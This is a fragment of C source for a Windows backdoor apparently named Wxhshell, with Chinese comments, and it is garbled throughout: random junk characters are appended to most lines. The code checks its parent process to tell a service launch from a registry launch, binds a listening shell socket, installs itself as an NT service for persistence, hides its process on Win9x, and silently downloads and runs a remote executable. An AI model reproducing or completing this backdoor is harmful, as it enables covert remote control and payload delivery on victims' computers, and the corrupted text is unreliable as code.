ULONG InheritedFromUniqueProcessId; %K?~$;Z.
} PROCESS_BASIC_INFORMATION; u;y1leG
9KCnitU
PROCNTQSIP NtQueryInformationProcess; <w08p*?
At.WBa3j%{
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; CYG'W FvZZ
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; I%pQ2T$;
?c(f6p?%
HANDLE hProcess; ~H?RHYP~
PROCESS_BASIC_INFORMATION pbi; =OhhMAn
gM_Z/$
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Qb9) 1
if(NULL == hInst ) return 0; l--xq^,`o]
SyTcp?H
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); r+\it&cW+
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); g5/8u2d
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); R],,-
C\EZ8
if (!NtQueryInformationProcess) return 0; \:^$ZBQr<n
>}_c<`:
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); :B)w0 tVw
if(!hProcess) return 0; <XGOcekG
L"#Tas\5
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *$uKg zv3
8={(Vf6
CloseHandle(hProcess); <K|_M)/9
|
u36-
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); mrk Q20D
if(hProcess==NULL) return 0; (r:WG!I,
6lsU/`.
HMODULE hMod; 3-tp94`8}t
char procName[255]; J:pnmZ`X
unsigned long cbNeeded; >P+V!-%#
x7t"@Gz
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));
2VMau.eQ
YIt:_][*
CloseHandle(hProcess); Hm1C|Qb
u~%
m(
if(strstr(procName,"services")) return 1; // 以服务启动 Q8T4_p[-o
a]$KI$)e
return 0; // 注册表启动 d.2
} Hq6VwQu?
Wf>UI)^n
// 主模块 x&8fmUS:@;
int StartWxhshell(LPSTR lpCmdLine) 2.?:[1g!
{ Zna
}h{
SOCKET wsl; TkmN.@w_C
BOOL val=TRUE; Za4 YD
int port=0; C n4|qX"&t
struct sockaddr_in door; U#@:"v|
Q y$8!(
if(wscfg.ws_autoins) Install(); >aN@)=h}
eGtIVY/D
port=atoi(lpCmdLine); < _c84,[V
6'|J
;
if(port<=0) port=wscfg.ws_port; [,xFk* #
B<LQ;n+
WSADATA data; .|x0du|
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; b<Pjmb+
DpI_`TF#$Z
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; s^js}9]p
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9]7+fu
door.sin_family = AF_INET; DEqk9Exk`
door.sin_addr.s_addr = inet_addr("127.0.0.1"); _17c}o#`5w
door.sin_port = htons(port); Q]a5]:0
z[IG+2
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { bbA+ZLZJn
closesocket(wsl); _ 4Hf?m7z
return 1; S3btx9y{
} LP#CA^*S
$?ke "
if(listen(wsl,2) == INVALID_SOCKET) { +~8/7V22
closesocket(wsl); YWd:Ok0
return 1; D;d'ss;
} f5mk\^
Wxhshell(wsl); ,7>_Lp_v
WSACleanup(); _mA[^G=gY
K31Fp;K
return 0; -V_e=Y<J/
' G)Wy|*
} \#G`$JD
L$lo5
// 以NT服务方式启动 Scxf5x-
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Y2<Z"D`
{ LEHlfB#z`@
DWORD status = 0; |I85]'K9a
DWORD specificError = 0xfffffff; q35%t61Lc
rbQA6_U 5A
serviceStatus.dwServiceType = SERVICE_WIN32; 5wP(/?sRy
serviceStatus.dwCurrentState = SERVICE_START_PENDING; kX5v!pm[
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; wz>j>e6k`
serviceStatus.dwWin32ExitCode = 0; Kze\|yJ
serviceStatus.dwServiceSpecificExitCode = 0; [ivJ&'vB
serviceStatus.dwCheckPoint = 0; JFR,QUT
serviceStatus.dwWaitHint = 0; TS-m^Y'R
|~#!e}L(
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); G4=%<+
if (hServiceStatusHandle==0) return; HPtaW:J
h9g5W'.#
status = GetLastError(); 7-6_`Q2}Y
if (status!=NO_ERROR) /rKrnxw
{ #^xiv/sV
serviceStatus.dwCurrentState = SERVICE_STOPPED; ~wh8)rm
serviceStatus.dwCheckPoint = 0; ~)sb\o
serviceStatus.dwWaitHint = 0; AO>K
6{
serviceStatus.dwWin32ExitCode = status; C0KP,JS&
serviceStatus.dwServiceSpecificExitCode = specificError; *kZJ
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ikyvst>O
return; AkT_ZU>
} m'z <d
+% '0;
serviceStatus.dwCurrentState = SERVICE_RUNNING; g&riio7lx
serviceStatus.dwCheckPoint = 0; RrKs!2sCT
serviceStatus.dwWaitHint = 0; EDL<J1%
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ?%*Zgk!l7
} nVs0$?}
5x4(5c5^
// 处理NT服务事件,比如:启动、停止 8%vk"h:u:
VOID WINAPI NTServiceHandler(DWORD fdwControl) JF24~Q4P
{ J|,| *t
switch(fdwControl) cnhYrX^
{ 5FH#)
case SERVICE_CONTROL_STOP: Q9FY.KUM
serviceStatus.dwWin32ExitCode = 0; -L1{0{Z
serviceStatus.dwCurrentState = SERVICE_STOPPED; ;Q?
Qwda
serviceStatus.dwCheckPoint = 0; N ?0V0B
serviceStatus.dwWaitHint = 0; rs 7R5 F
{ [$-y8`~(
SetServiceStatus(hServiceStatusHandle, &serviceStatus); rw8db'
} oNl_r: G
return; $;$_N43
case SERVICE_CONTROL_PAUSE: GJ{]}fl
serviceStatus.dwCurrentState = SERVICE_PAUSED; :mY(d6#A>
break; o )Ob}j
case SERVICE_CONTROL_CONTINUE: `Z/"Dd;F^3
serviceStatus.dwCurrentState = SERVICE_RUNNING; 1mf|:2,
break; )CihqsA2
case SERVICE_CONTROL_INTERROGATE: J}%&;uv
break; wQ4/eQ*
}; )jCAfdnCs
SetServiceStatus(hServiceStatusHandle, &serviceStatus); "d%":F(
} 9b()ck-\F#
,v>P05
// 标准应用程序主函数 @Je{;1
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 611:eLyy&l
{ bWjW_$8
,#D&*
// 获取操作系统版本 J"I{0>@
OsIsNt=GetOsVer(); ^om(6JL2
GetModuleFileName(NULL,ExeFile,MAX_PATH); s.Yyw y
9J0m
// 从命令行安装 U,aV{qz
if(strpbrk(lpCmdLine,"iI")) Install(); ^ 8egn|
O8 k$Uc
// 下载执行文件 1_XdL?h#o
if(wscfg.ws_downexe) { $I>.w4G}
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) LGRX@nF#
WinExec(wscfg.ws_filenam,SW_HIDE); RUSBJsMB
} <:>a51HBX
:2K0/@<x
if(!OsIsNt) { Z`q?p E>R
// 如果时win9x,隐藏进程并且设置为注册表启动 @/B&R^aVZ
HideProc(); e9N"{kDs6
StartWxhshell(lpCmdLine); &YqgMC
} %3'80u6BCJ
else e"[o2=v;5
if(StartFromService()) V
mKMj'
// 以服务方式启动 n#bC,
StartServiceCtrlDispatcher(DispatchTable); TJ2$
Z
else 3 LoB-4u?
// 普通方式启动 W}a&L
StartWxhshell(lpCmdLine); ndW??wiM
z9'ME
return 0; |;Jcf3e(
}